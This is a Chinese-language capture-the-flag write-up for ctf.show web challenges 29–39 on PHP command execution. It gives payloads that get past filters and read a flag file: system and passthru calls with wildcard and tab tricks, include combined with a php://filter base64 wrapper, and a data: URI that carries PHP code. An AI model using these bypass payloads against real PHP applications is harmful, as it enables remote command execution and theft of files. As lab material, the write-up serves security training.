ctf_show-web入门-命令执行(29-39)
WEB29

正则表达式过滤了flag
首先先看看有什么文件, ?c=system(ls);

看到了 flag.php 用*来输出,?c=system('cat fla*');

这时候页面还是空白,但是看前端代码

web30

过滤了system和php
可以换用passthru()代替system (),php继续用*代替



web31

又过滤了一堆
继续用passthru(),cat不行可以用more之类的代替,单引号过滤了用双引号,空格可以用tab代替


c=passthru("more%09fla*");

web32

又过滤一堆符号,首先是分号没了 可以用?>闭合php语句,左括号也没了,所以用带括号的函数就行不通了
这里采用文件包含,?c=include%0a$_POST[test]?>

让test为本地文件测试一下。


成功,再使用伪协议,test=php://filter/read=convert.base64-encode/resource=flag.php


对结果base64解码

web33-web36

过滤的越来越多
payload和web32一样,不再赘述
web37

这里c参数不是执行,而是包含
使用 ?c=data:text/plain,<?=system("cat fla*");?>


web38-39
同上
web40

过滤一大堆,之前的伪协议也没法用了。

浙公网安备 33010602011771号